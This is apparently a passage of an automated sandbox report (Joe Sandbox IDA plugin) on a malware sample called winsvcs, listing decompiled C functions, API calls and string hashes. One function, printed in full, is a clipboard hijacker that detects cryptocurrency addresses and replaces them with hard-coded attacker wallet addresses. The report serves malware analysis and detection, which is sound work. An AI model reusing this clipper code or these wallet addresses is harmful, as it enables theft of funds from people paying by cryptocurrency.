				_v141 = 0;
				_v140 = 0;
				_v139 = 0;
				_v138 = 0;
				_v137 = 0;
				_v224 = 0xc4;
				_v223 = 0x3d;
				_v222 = 0x7b;
				_v221 = 0;
				_v220 = 0x40;
				_v219 = 7;
				_v218 = 0;
				_v196 = CreateFileW(_a8, 0x80000000, 1, 0, 3, 0x80, 0);
				if(_v196 != 0xffffffff) {
					_v212 = GetFileSize(_v196, 0);
					if(_v212 != 0xffffffff) {
						_v216 = CreateFileW(_a4, 0x40000000, 1, 0, 3, 0x80, 0);
						_v208 = GetFileSize(_v216, 0);
						if(_v208 != 0xffffffff) {
							SetFilePointer(_v216, _v208 - 7, 0, 0);
							_v204 = CreateFileMappingA(_v196, 0, 2, 0, 0, 0);
							if(_v204 != 0) {
								_v200 = MapViewOfFile(_v204, 4, 0, 0, 0);
								if(_v200 != 0) {
									_t167 = 8;
									memset( &_v188, 0, _t167 << 2);
									_v186 = 0x74;
									_v172 = E00402767(0, _v200, _v212);
									_v185 = 0x8000;
									_v163 = 0x30;
									_v164 = 0x14;
									_v160 = _a16;
									_v177 = _v212;
									_v181 = _v212;
									_v162 = lstrlenA(_a12);
									_v183 = (_v162 & 0x0000ffff) + 0x20;
									memset( &_v132, 0, 0x80);
									_t171 = 8;
									memcpy( &_v132,  &_v188, _t171 << 2);
									_v136 =  &_v132;
									_v136 = _v136 + 0x20;
									memcpy(_v136, _a12, _v162 & 0x0000ffff);
									_v188 = E00402767(0,  &_v130, (_v162 & 0x0000ffff) + 0x1e);
									WriteFile(_v216,  &_v188, 0x20,  &_v192, 0);
									WriteFile(_v216, _a12, _v162 & 0x0000ffff,  &_v192, 0);
									WriteFile(_v216, _v200, _v212,  &_v192, 0);
									WriteFile(_v216,  &_v224, 7,  &_v192, 0);
									UnmapViewOfFile(_v200);
									CloseHandle(_v204);
									CloseHandle(_v196);
									CloseHandle(_v216);
									return 1;
								}
								CloseHandle(_v204);
								CloseHandle(_v196);
								CloseHandle(_v216);
								return 0;
							}
							CloseHandle(_v196);
							CloseHandle(_v216);
							return 0;
						}
						CloseHandle(_v196);
						CloseHandle(_v216);
						return 0;
					}
					CloseHandle(_v196);
					return 0;
				}
				return 0;
			}

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 004028E4
GetFileSize.KERNEL32(000000FF,00000000), ref: 00402908
CloseHandle.KERNEL32(000000FF), ref: 00402923
CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,00000080,00000000), ref: 00402945
GetFileSize.KERNEL32(?,00000000), ref: 00402959
CloseHandle.KERNEL32(000000FF), ref: 00402974
CloseHandle.KERNEL32(?), ref: 00402980
SetFilePointer.KERNEL32(?,000000F8,00000000,00000000), ref: 004029A1
CreateFileMappingA.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 004029B7
CloseHandle.KERNEL32(000000FF), ref: 004029D2
CloseHandle.KERNEL32(?), ref: 004029DE
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 004029F9
CloseHandle.KERNEL32(00000000), ref: 00402A14
CloseHandle.KERNEL32(000000FF), ref: 00402A20
CloseHandle.KERNEL32(?), ref: 00402A2C

Part of subcall function 00402767: GlobalAlloc.KERNEL32(00000040,00000400,?,?,?,00000008,00000008,?,00402A5E,00000000,000000FF), ref: 00402776
Part of subcall function 00402767: GlobalFree.KERNEL32(00000000), ref: 004027F5

lstrlenA.KERNEL32(?), ref: 00402AA4
memset.MSVCRT ref: 00402ACD
memcpy.MSVCRT ref: 00402B0C
WriteFile.KERNEL32(?,?,00000020,?,00000000), ref: 00402B49
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00402B69
WriteFile.KERNEL32(?,00000000,000000FF,?,00000000), ref: 00402B8A
WriteFile.KERNEL32(?,000000C4,00000007,?,00000000), ref: 00402BA8
UnmapViewOfFile.KERNEL32(00000000), ref: 00402BB4
CloseHandle.KERNEL32(00000000), ref: 00402BC0
CloseHandle.KERNEL32(000000FF), ref: 00402BCC
CloseHandle.KERNEL32(?), ref: 00402BD8

Strings

{, xrefs: 004028AC
@, xrefs: 004028BA
!, xrefs: 00402827
0, xrefs: 00402A72
a, xrefs: 00402819
t, xrefs: 00402A46
s, xrefs: 00402851
R, xrefs: 00402812
r, xrefs: 00402820
=, xrefs: 004028A5

Memory Dump Source

Source File: 00000002.00000002.627197202.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_winsvcs.jbxd

Similarity

API ID: File$CloseHandle$Write$Create$GlobalSizeView$AllocFreeMappingPointerUnmaplstrlenmemcpymemset
String ID: !$0$=$@$R$a$r$s$t${
API String ID: 106833918-2261256852
Opcode ID: 1ea0ef303b9b44958b9eeecfd148ff30cb7803888f60dfcb42b3d544ed60aa98
Instruction ID: 00c43a9bcbb9e809788d61d67805a5e254fdac8091ed57866dff7502e194322d
Opcode Fuzzy Hash: 1ea0ef303b9b44958b9eeecfd148ff30cb7803888f60dfcb42b3d544ed60aa98
Instruction Fuzzy Hash: F6B11B31D08268EEEF219B64DD09B99BBB5BF05304F0041E6E64CBA1E1C7B51E84DF66

Uniqueness

Uniqueness Score: 100.00%

Function 004050C2, Relevance: 49.3, APIs: 10, Strings: 18, Instructions: 331
clipboardmemoryUNIQUE

C-Code - Quality: 97%

			E004050C2(char* _a4) {
				intOrPtr _v8;
				void* _v12;
				intOrPtr _v16;
				void* _v20;
				void* _v24;
				signed int _v28;
				intOrPtr* _v32;
				intOrPtr _v36;
				char _v37;
				intOrPtr _v44;
				intOrPtr* _v48;
				intOrPtr _v52;
				char _v53;
				intOrPtr _v60;
				char _t215;
				char _t220;

				_v20 = _v20 & 0x00000000;
				_v32 = _a4;
				_v36 = _v32 + 1;
				do {
					_v37 =  *_v32;
					_v32 = _v32 + 1;
				} while (_v37 != 0);
				_v44 = _v32 - _v36;
				_v8 = _v44;
				if( *_a4 == 0x31 ||  *_a4 == 0x33 ||  *_a4 == 0x42 ||  *_a4 == 0x32 ||  *_a4 == 0x58 ||  *_a4 == 0x44 ||  *_a4 == 0x45 ||  *_a4 == 0x30 ||  *_a4 == 0x4c ||  *_a4 == 0x34 ||  *_a4 == 0x50 ||  *_a4 == 0x41 ||  *_a4 == 0x52 ||  *_a4 == 0x72 ||  *_a4 == 0x74 ||  *_a4 == 0x7a ||  *_a4 == 0x47 ||  *_a4 == 0x55 ||  *_a4 == 0x45) {
					if( *_a4 == 0x34 ||  *_a4 == 0x32) {
						if(_v8 < 0x5a || _v8 > 0x73) {
							return 0;
						} else {
							goto L37;
						}
					} else {
						if( *_a4 == 0x47 ||  *_a4 == 0x55 ||  *_a4 == 0x45) {
							if(_v8 == 9) {
								goto L37;
							}
							return 0;
						} else {
							if(_v8 < 0x19 || _v8 > 0x2d) {
								return 0;
							} else {
								L37:
								_v28 = _v28 & 0x00000000;
								while(_v28 < _v8) {
									if( *((char*)(_a4 + _v28)) == 0x4f ||  *((char*)(_a4 + _v28)) == 0x49 ||  *((char*)(_a4 + _v28)) == 0x6c) {
										return 0;
									} else {
										_t215 =  *((char*)(_a4 + _v28));
										_push(_t215);
										L00401024();
										if(_t215 != 0) {
											L47:
											_v28 = _v28 + 1;
											continue;
										}
										_t220 =  *((char*)(_a4 + _v28));
										_push(_t220);
										L0040102A();
										if(_t220 != 0) {
											goto L47;
										}
										return 0;
									}
								}
								if( *_a4 == 0x31 ||  *_a4 == 0x33) {
									_v12 = "1DYwJZfyGy5DXaqXpgzuj8shRefxQ7jCEw";
								}
								if( *_a4 == 0x42) {
									_v12 = "BCedWttszcCs9uThQJBdJeEvi83vQgxrAa";
								}
								if( *_a4 == 0x32) {
									_v12 = "228Urw5BHKCiikBcGe37AYVNjJKA6xb4L9RepZ76KasQSSTg1DeertgFr6MNqj3PGR4PGXzCGYQw7UemxRoRxCC97qdga22";
								}
								if( *_a4 == 0x58) {
									_v12 = "XxZ274qGCfFyEi2HRS5G1215vEX331Mhc1";
								}
								if( *_a4 == 0x44) {
									_v12 = "D78VANgC5hQ3n4BSnon6aq6qnQSViyAmLv";
								}
								if( *_a4 == 0x45) {
									_v12 = "EZyjJj7M9gP6bnhw3q5N1gAMyQSVXNh533";
								}
								if( *_a4 == 0x30) {
									_v12 = "0xff0d45f3e2ec83de3b2e069300974732ba1c5d30";
								}
								if( *_a4 == 0x4c) {
									_v12 = "Lh8F5u2USRj779tQDy6LMYUM6dgPwH3qoP";
								}
								if( *_a4 == 0x34) {
									_v12 = "4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQrhbkDviv3H6fUaKia";
								}
								if( *_a4 == 0x50) {
									_v12 = "PWGChwvPpdCHyLmURsPgtYCAsqwDAzAsvZ";
								}
								if( *_a4 == 0x41) {
									_v12 = "AH2GAaJtWdQqsSJCS14tVUTKivzD7B67fP";
								}
								if( *_a4 == 0x52) {
									_v12 = "RaqJaa3iWaRkHvDkDcnfkhFJjSvzHLjuBk";
								}
								if( *_a4 == 0x72) {
									_v12 = "rL2zzcnUrDsqPfH6bmbGNG93QYQkDkJ6QV";
								}
								if( *_a4 == 0x74 ||  *_a4 == 0x7a) {
									_v12 = "t1MH943MSkvEcaXiDQJ4GQk9GPaSTkhDh4r";
								}
								if( *_a4 == 0x47 ||  *_a4 == 0x55 ||  *_a4 == 0x45) {
									if( *_a4 == 0x47) {
										_v12 = "G18431620";
									}
									if( *_a4 == 0x55) {
										_v12 = "U17032720";
									}
									if( *_a4 == 0x45) {
										_v12 = "E18406200";
									}
								}
								_v48 = _v12;
								_v52 = _v48 + 1;
								do {
									_v53 =  *_v48;
									_v48 = _v48 + 1;
								} while (_v53 != 0);
								_v60 = _v48 - _v52;
								_v16 = _v60;
								_v24 = GlobalAlloc(0x2002, _v16 + 1);
								_v20 = GlobalLock(_v24);
								memcpy(_v20, _v12, _v16 + 1);
								GlobalUnlock(_v24);
								if(OpenClipboard(0) != 0) {
									EmptyClipboard();
									SetClipboardData(1, _v24);
									CloseClipboard();
								}
								return 1;
							}
						}
					}
				} else {
					return 0;
				}
			}

APIs

isalpha.MSVCRT ref: 004052AF
isdigit.MSVCRT ref: 004052C3
GlobalAlloc.KERNEL32(00002002,?), ref: 00405476
GlobalLock.KERNEL32(?), ref: 00405482
memcpy.MSVCRT ref: 00405496
GlobalUnlock.KERNEL32(?), ref: 004054A1
OpenClipboard.USER32(00000000), ref: 004054A9
EmptyClipboard.USER32 ref: 004054B3
SetClipboardData.USER32(00000001,?), ref: 004054BE
CloseClipboard.USER32 ref: 004054C4

Strings

D78VANgC5hQ3n4BSnon6aq6qnQSViyAmLv, xrefs: 00405334
4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQrhbkDviv3H6fUaKia, xrefs: 0040537C
0xff0d45f3e2ec83de3b2e069300974732ba1c5d30, xrefs: 00405358
t1MH943MSkvEcaXiDQJ4GQk9GPaSTkhDh4r, xrefs: 004053E1
rL2zzcnUrDsqPfH6bmbGNG93QYQkDkJ6QV, xrefs: 004053C4
EZyjJj7M9gP6bnhw3q5N1gAMyQSVXNh533, xrefs: 00405346
E18406200, xrefs: 00405438
RaqJaa3iWaRkHvDkDcnfkhFJjSvzHLjuBk, xrefs: 004053B2
228Urw5BHKCiikBcGe37AYVNjJKA6xb4L9RepZ76KasQSSTg1DeertgFr6MNqj3PGR4PGXzCGYQw7UemxRoRxCC97qdga22, xrefs: 00405310
U17032720, xrefs: 00405426
-, xrefs: 00405252
Lh8F5u2USRj779tQDy6LMYUM6dgPwH3qoP, xrefs: 0040536A
AH2GAaJtWdQqsSJCS14tVUTKivzD7B67fP, xrefs: 004053A0
XxZ274qGCfFyEi2HRS5G1215vEX331Mhc1, xrefs: 00405322
G18431620, xrefs: 00405414
PWGChwvPpdCHyLmURsPgtYCAsqwDAzAsvZ, xrefs: 0040538E
BCedWttszcCs9uThQJBdJeEvi83vQgxrAa, xrefs: 004052FE
1DYwJZfyGy5DXaqXpgzuj8shRefxQ7jCEw, xrefs: 004052EC

Memory Dump Source

Source File: 00000002.00000002.627197202.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_winsvcs.jbxd

Similarity

API ID: Clipboard$Global$AllocCloseDataEmptyLockOpenUnlockisalphaisdigitmemcpy
String ID: -$0xff0d45f3e2ec83de3b2e069300974732ba1c5d30$1DYwJZfyGy5DXaqXpgzuj8shRefxQ7jCEw$228Urw5BHKCiikBcGe37AYVNjJKA6xb4L9RepZ76KasQSSTg1DeertgFr6MNqj3PGR4PGXzCGYQw7UemxRoRxCC97qdga22$4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQrhbkDviv3H6fUaKia$AH2GAaJtWdQqsSJCS14tVUTKivzD7B67fP$BCedWttszcCs9uThQJBdJeEvi83vQgxrAa$D78VANgC5hQ3n4BSnon6aq6qnQSViyAmLv$E18406200$EZyjJj7M9gP6bnhw3q5N1gAMyQSVXNh533$G18431620$Lh8F5u2USRj779tQDy6LMYUM6dgPwH3qoP$PWGChwvPpdCHyLmURsPgtYCAsqwDAzAsvZ$RaqJaa3iWaRkHvDkDcnfkhFJjSvzHLjuBk$U17032720$XxZ274qGCfFyEi2HRS5G1215vEX331Mhc1$rL2zzcnUrDsqPfH6bmbGNG93QYQkDkJ6QV$t1MH943MSkvEcaXiDQJ4GQk9GPaSTkhDh4r
API String ID: 4022887902-2997840421
Opcode ID: f9934a91df13f813d7c7049ee5fc69d110606137f58445e56fafad3d7c288263
Instruction ID: f999a902f99b6b39ee7c4d1977c8b6ed79e0f7db9cfc5c91e5451ff0bfd56921
Opcode Fuzzy Hash: f9934a91df13f813d7c7049ee5fc69d110606137f58445e56fafad3d7c288263
Instruction Fuzzy Hash: DBD1A671A04A99AFCB11CB58C4D45AF7FB5AF02352F5444A6E894EF291C338DE82DF48

Uniqueness

Uniqueness Score: 100.00%

Function 00401234, Relevance: 30.3, APIs: 20, Instructions: 287networkCOMMON

APIs

send.WS2_32(?,004019A7,00000001,00000000), ref: 004012B9
send.WS2_32(?,?,00000001,00000000), ref: 004012CA
send.WS2_32(?,004020DD,00000004,00000000), ref: 00401308
send.WS2_32(?,00000001,00000005,00000000), ref: 0040131B
send.WS2_32(?,00000001,?,00000000), ref: 00401353
send.WS2_32(?,004019A7,00000001,00000000), ref: 00401369
send.WS2_32(?,?,00000001,00000000), ref: 0040137A
send.WS2_32(?,004020DD,00000004,00000000), ref: 004013B8
send.WS2_32(?,00000001,00000005,00000000), ref: 004013CB
send.WS2_32(?,00000001,?,00000000), ref: 00401403
send.WS2_32(?,004019A7,00000001,00000000), ref: 00401439
send.WS2_32(?,?,00000001,00000000), ref: 0040144A
send.WS2_32(?,004020DD,00000004,00000000), ref: 00401488
send.WS2_32(?,00000001,00000005,00000000), ref: 0040149B
send.WS2_32(?,00000001,?,00000000), ref: 004014DF
send.WS2_32(?,004019A7,00000001,00000000), ref: 004014F5
send.WS2_32(?,?,00000001,00000000), ref: 00401506
send.WS2_32(?,004020DD,00000004,00000000), ref: 00401565
send.WS2_32(?,00000001,00000005,00000000), ref: 00401578
send.WS2_32(?,00000001,?,00000000), ref: 004015D1

Memory Dump Source

Source File: 00000002.00000002.627197202.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_winsvcs.jbxd

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: 936451f52fc491bc1bc339eb1790016db85604590e470bb29953fca8b5897de3
Instruction ID: 7e10a3425216758627c194d5b1fe677fff407d5ee092f0c9df430c7f9d8f4f5e
Opcode Fuzzy Hash: 936451f52fc491bc1bc339eb1790016db85604590e470bb29953fca8b5897de3
Instruction Fuzzy Hash: F6D1C274D04248EFEB21CFA4CD44BEDBFB4EB09300F1080A6E959BA2A1C7756A85DF55

Uniqueness

Uniqueness Score: 0.03%

Function 00395710, Relevance: 18.1, APIs: 12, Instructions: 89
UNIQUE

C-Code - Quality: 82%

			_entry_(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t17;
				void* _t19;
				void* _t24;
				void* _t25;
				void* _t26;
				void* _t27;
				signed int _t39;
				void* _t46;
				signed int _t49;
				void* _t51;

				_t47 = __edi;
				_t46 = __edx;
				E00399463();
				_push(0x14);
				E00395FD0(__ebx, __edi, __esi);
				_t49 = E0039964A() & 0x0000ffff;
				E00399416(2);
				0x10b = 0x416ac8;
				if( *0x400000 == 0x5a4d) {
					_t17 =  *0x40003c;
					__eflags =  *((intOrPtr*)(_t17 + 0x400000)) - 0x4550;
					if( *((intOrPtr*)(_t17 + 0x400000)) != 0x4550) {
						goto L2;
					} else {
						__eflags =  *((intOrPtr*)(_t17 + 0x400018)) - 0x10b;
						if( *((intOrPtr*)(_t17 + 0x400018)) != 0x10b) {
							goto L2;
						} else {
							_t39 = 0;
							__eflags =  *((intOrPtr*)(_t17 + 0x400074)) - 0xe;
							if( *((intOrPtr*)(_t17 + 0x400074)) > 0xe) {
								__eflags =  *(_t17 + 0x4000e8);
								_t6 =  *(_t17 + 0x4000e8) != 0;
								__eflags = _t6;
								_t39 = 0 | _t6;
							}
						}
					}
				} else {
					L2:
					_t39 = 0;
				}
				 *(_t51 - 0x1c) = _t39;
				if(E00398C23() == 0) {
					E0039586A(_t39, 0x10b, _t46, _t47, _t49, 0x1c);
					_pop(0x10b);
				}
				_t19 = E00396ECD(_t39, _t47);
				_t55 = _t19;
				if(_t19 == 0) {
					_t19 = E0039586A(_t39, 0x10b, _t46, _t47, _t49, 0x10);
					_pop(0x10b);
				}
				E003994FF(_t19);
				 *(_t51 - 4) =  *(_t51 - 4) & 0x00000000;
				if(E00398C38(_t39, _t47, _t49, _t55) < 0) {
					E0039586A(_t39, 0x10b, _t46, _t47, _t49, 0x1b);
				}
				 *0x4210dc =  *0x411094();
				 *0x41f24c = E0039953F(_t46);
				_t24 = E00398EEC();
				_t57 = _t24;
				if(_t24 < 0) {
					E00395C0E(_t39, _t46, _t47, _t49, _t57, 8);
				}
				_t25 = E0039911B(_t39, _t46, _t47, _t49);
				_t58 = _t25;
				if(_t25 < 0) {
					E00395C0E(_t39, _t46, _t47, _t49, _t58, 9);
				}
				_t26 = E00395C48(1);
				_t59 = _t26;
				if(_t26 != 0) {
					E00395C0E(_t39, _t46, _t47, _t49, _t59, _t26);
				}
				_t27 = E003999AD();
				_push(_t49);
				_push(_t27);
				_push(0);
				_t50 = E003919E2(_t39, _t47, 0x400000);
				 *((intOrPtr*)(_t51 - 0x24)) = _t28;
				if(_t39 == 0) {
					E00395EB1(_t50);
				}
				E00395C39();
				 *(_t51 - 4) = 0xfffffffe;
				return E00396015(_t50);
			}

0x00395710
0x00395710
0x00395710
0x0039571a
0x00395721
0x0039572b
0x00395730
0x00395735
0x00395742
0x00395748
0x0039574d
0x00395757
0x00000000
0x00395759
0x0039575e
0x00395765
0x00000000
0x00395767
0x00395767
0x00395769
0x00395770
0x00395772
0x00395778
0x00395778
0x00395778
0x00395778
0x00395770
0x00395765
0x00395744
0x00395744
0x00395744
0x00395744
0x0039577b
0x00395785
0x00395789
0x0039578e
0x0039578e
0x0039578f
0x00395794
0x00395796
0x0039579a
0x0039579f
0x0039579f
0x003957a0
0x003957a5
0x003957b0
0x003957b4
0x003957b9
0x003957c0
0x003957ca
0x003957cf
0x003957d4
0x003957d6
0x003957da
0x003957df
0x003957e0
0x003957e5
0x003957e7
0x003957eb
0x003957f0
0x003957f3
0x003957f9
0x003957fb
0x003957fe
0x00395803
0x00395804
0x00395809
0x0039580a
0x0039580b
0x00395817
0x00395819
0x0039581e
0x00395821
0x00395821
0x00395826
0x0039585b
0x00395869

APIs

___security_init_cookie.LIBCMT ref: 00395710
___crtGetShowWindowMode.LIBCMT ref: 00395726
_fast_error_exit.LIBCMT ref: 00395789

Part of subcall function 00396ECD: __init_pointers.LIBCMT ref: 00396ECD
Part of subcall function 00396ECD: __mtinitlocks.LIBCMT ref: 00396ED2
Part of subcall function 00396ECD: __mtterm.LIBCMT ref: 00396EDB
Part of subcall function 00396ECD: __calloc_crt.LIBCMT ref: 00396F00
Part of subcall function 00396ECD: __initptd.LIBCMT ref: 00396F22
Part of subcall function 00396ECD: __mtterm.LIBCMT ref: 00396F3A

_fast_error_exit.LIBCMT ref: 0039579A
__RTC_Initialize.LIBCMT ref: 003957A0
__ioinit.LIBCMT ref: 003957A9

Part of subcall function 00398C38: __lock.LIBCMT ref: 00398C46
Part of subcall function 00398C38: __calloc_crt.LIBCMT ref: 00398C57
Part of subcall function 00398C38: @_EH4_CallFilterFunc@8.LIBCMT ref: 00398C72
Part of subcall function 00398C38: __calloc_crt.LIBCMT ref: 00398D16

_fast_error_exit.LIBCMT ref: 003957B4

Part of subcall function 0039586A: __FF_MSGBANNER.LIBCMT ref: 00395876
Part of subcall function 0039586A: __NMSG_WRITE.LIBCMT ref: 0039587E

___crtGetEnvironmentStringsA.LIBCMT ref: 003957C5

Part of subcall function 0039953F: __malloc_crt.LIBCMT ref: 00399586
Part of subcall function 0039953F: _free.LIBCMT ref: 003995A9

__setargv.LIBCMT ref: 003957CF

Part of subcall function 00398EEC: ___initmbctable.LIBCMT ref: 00398EFA
Part of subcall function 00398EEC: _parse_cmdline.LIBCMT ref: 00398F3D
Part of subcall function 00398EEC: __malloc_crt.LIBCMT ref: 00398F60
Part of subcall function 00398EEC: _parse_cmdline.LIBCMT ref: 00398F7A

__setenvp.LIBCMT ref: 003957E0

Part of subcall function 0039911B: ___initmbctable.LIBCMT ref: 00399124
Part of subcall function 0039911B: _strlen.LIBCMT ref: 00399145
Part of subcall function 0039911B: __calloc_crt.LIBCMT ref: 0039915A
Part of subcall function 0039911B: _strlen.LIBCMT ref: 0039917A
Part of subcall function 0039911B: __calloc_crt.LIBCMT ref: 0039918B
Part of subcall function 0039911B: _free.LIBCMT ref: 003991B8
Part of subcall function 0039911B: _free.LIBCMT ref: 003991DE
Part of subcall function 0039911B: __invoke_watson.LIBCMT ref: 003991F6

__cinit.LIBCMT ref: 003957F3

Part of subcall function 00395C48: __IsNonwritableInCurrentImage.LIBCMT ref: 00395C59
Part of subcall function 00395C48: __initp_misc_cfltcvt_tab.LIBCMT ref: 00395C6D
Part of subcall function 00395C48: __initterm_e.LIBCMT ref: 00395C7C
Part of subcall function 00395C48: __IsNonwritableInCurrentImage.LIBCMT ref: 00395CB2

__wincmdln.LIBCMT ref: 00395804

Part of subcall function 003999AD: ___initmbctable.LIBCMT ref: 003999B9

Part of subcall function 00395C39: _doexit.LIBCMT ref: 00395C3F

Part of subcall function 00395EB1: _doexit.LIBCMT ref: 00395EBB

Part of subcall function 00395C0E: __FF_MSGBANNER.LIBCMT ref: 00395C11
Part of subcall function 00395C0E: __NMSG_WRITE.LIBCMT ref: 00395C19

Memory Dump Source

Source File: 00000002.00000001.523172639.00391000.00000020.sdmp, Offset: 00390000, based on PE: true

Associated: 00000002.00000001.523165875.00390000.00000002.sdmp
Associated: 00000002.00000001.523193060.003A1000.00000002.sdmp
Associated: 00000002.00000001.523202631.003A8000.00000008.sdmp
Associated: 00000002.00000001.523212547.003B3000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_1_390000_winsvcs.jbxd

Similarity

API ID: __calloc_crt$___initmbctable_fast_error_exit_free$CurrentImageNonwritable___crt__malloc_crt__mtterm_doexit_parse_cmdline_strlen$CallEnvironmentFilterFunc@8InitializeModeShowStringsWindow___security_init_cookie__cinit__init_pointers__initp_misc_cfltcvt_tab__initptd__initterm_e__invoke_watson__ioinit__lock__mtinitlocks__setargv__setenvp__wincmdln
String ID:
API String ID: 780688413-0
Opcode ID: dc66185c9939215f445c12c638bbae51861bdcbd4904ce8304f918f212fb6fea
Instruction ID: 0ea38afbd41f4302acef17c94f7e7899c796d741bd441bdbcc475537e576b7fd
Opcode Fuzzy Hash: dc66185c9939215f445c12c638bbae51861bdcbd4904ce8304f918f212fb6fea
Instruction Fuzzy Hash: 1421C131A41B05DAEF23BBF5A987B692154AF00755F21403EF509EE0D2EEB4C9C18B65

Uniqueness

Uniqueness Score: 100.00%

Function 004032DD, Relevance: 10.6, APIs: 7, Instructions: 91comsleepUNIQUE

APIs

CoInitialize.OLE32(00000000), ref: 004032EB
CoCreateInstance.OLE32(0040726C,00000000,00000001,0040725C,?), ref: 00403303
VariantInit.OLEAUT32(?), ref: 0040331A
VariantInit.OLEAUT32(?), ref: 00403355
VariantInit.OLEAUT32(?), ref: 0040336C
Sleep.KERNEL32(000003E8), ref: 004033AB
CoUninitialize.OLE32 ref: 004033C7

Memory Dump Source

Source File: 00000002.00000002.627197202.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_winsvcs.jbxd

Similarity

API ID: InitVariant$CreateInitializeInstanceSleepUninitialize
String ID:
API String ID: 4283135408-0
Opcode ID: 2384178dfcd92cfacc6c03ac09a1f538801f965f76ffb1efdbdc7117a962b39c
Instruction ID: 7d5b17cda0f51007006bf27e4e8bb3eab08387f6cfe3fd51f31b93a4f534113c
Opcode Fuzzy Hash: 2384178dfcd92cfacc6c03ac09a1f538801f965f76ffb1efdbdc7117a962b39c
Instruction Fuzzy Hash: AC31D235D102189FDB01EFA8D949ADEBBB9FF0D311F105066F901FB2A0D7B1AA448B65

Uniqueness

Uniqueness Score: 100.00%

Function 00396ECD, Relevance: 9.0, APIs: 6, Instructions: 45
UNIQUE

C-Code - Quality: 86%

			E00396ECD(void* __ebx, void* __edi) {
				void* __esi;
				intOrPtr _t5;
				intOrPtr _t13;
				intOrPtr* _t26;

				E00395CE0();
				if(E0039A120() != 0) {
					_t5 = E003995CC(0x406c5e);
					 *0x41dff4 = _t5;
					__eflags = _t5 - 0xffffffff;
					if(_t5 == 0xffffffff) {
						goto L1;
					} else {
						_t26 = E00395EF6(1, 0x3bc);
						__eflags = _t26;
						if(_t26 == 0) {
							L6:
							E00396F43();
							__eflags = 0;
							return 0;
						} else {
							__eflags = E00399628( *0x41dff4, _t26);
							if(__eflags == 0) {
								goto L6;
							} else {
								E00396E1A(__ebx, __edi, _t26, __eflags);
								_t13 =  *0x4110bc(_t26, 0);
								 *(_t26 + 4) =  *(_t26 + 4) | 0xffffffff;
								 *_t26 = _t13;
								__eflags = 1;
								return 1;
							}
						}
					}
				} else {
					L1:
					E00396F43();
					return 0;
				}
			}

0x00396ecd
0x00396ed9
0x00396ee8
0x00396eed
0x00396ef3
0x00396ef6
0x00000000
0x00396ef8
0x00396f05
0x00396f09
0x00396f0b
0x00396f3a
0x00396f3a
0x00396f3f
0x00396f42
0x00396f0d
0x00396f1b
0x00396f1d
0x00000000
0x00396f1f
0x00396f22
0x00396f29
0x00396f2f
0x00396f33
0x00396f37
0x00396f39
0x00396f39
0x00396f1d
0x00396f0b
0x00396edb
0x00396edb
0x00396edb
0x00396ee2
0x00396ee2

APIs

__init_pointers.LIBCMT ref: 00396ECD

Part of subcall function 00395CE0: __initp_misc_winsig.LIBCMT ref: 00395CFE

__mtinitlocks.LIBCMT ref: 00396ED2
__mtterm.LIBCMT ref: 00396EDB

Part of subcall function 00396F43: _free.LIBCMT ref: 0039A041

__calloc_crt.LIBCMT ref: 00396F00

Part of subcall function 00395EF6: __calloc_impl.LIBCMT ref: 00395F05

__initptd.LIBCMT ref: 00396F22

Part of subcall function 00396E1A: __lock.LIBCMT ref: 00396E5E
Part of subcall function 00396E1A: __lock.LIBCMT ref: 00396E7F
Part of subcall function 00396E1A: ___addlocaleref.LIBCMT ref: 00396E9D

__mtterm.LIBCMT ref: 00396F3A

Memory Dump Source

Source File: 00000002.00000001.523172639.00391000.00000020.sdmp, Offset: 00390000, based on PE: true

Associated: 00000002.00000001.523165875.00390000.00000002.sdmp
Associated: 00000002.00000001.523193060.003A1000.00000002.sdmp
Associated: 00000002.00000001.523202631.003A8000.00000008.sdmp
Associated: 00000002.00000001.523212547.003B3000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_1_390000_winsvcs.jbxd

Similarity

API ID: __lock__mtterm$___addlocaleref__calloc_crt__calloc_impl__init_pointers__initp_misc_winsig__initptd__mtinitlocks_free
String ID:
API String ID: 3345803537-0
Opcode ID: f82e6821617cfaba9e632cd75d80558863f7e29b6d200b84703f820f825d48a8
Instruction ID: 2490a307f2f67c71dbef557a1d59f0d808ab749aa0be4256da9998daf00092ec
Opcode Fuzzy Hash: f82e6821617cfaba9e632cd75d80558863f7e29b6d200b84703f820f825d48a8
Instruction Fuzzy Hash: 2EF0243394E7135AEE2B7739BD03A8B2680DF013B4B224A2FF452DC0D2FE12C8414198

Uniqueness

Uniqueness Score: 100.00%

Function 00397318, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 48
UNIQUE

C-Code - Quality: 23%

			E00397318(void* __ebx, void* __esi, char _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr* _a32, intOrPtr _a36, intOrPtr _a40) {
				void* __edi;
				void* __ebp;
				void* _t25;
				void* _t28;
				intOrPtr _t29;
				void* _t30;
				intOrPtr* _t31;
				void* _t33;

				_t30 = __esi;
				_t27 = __ebx;
				_t35 = _a28;
				_t29 = _a8;
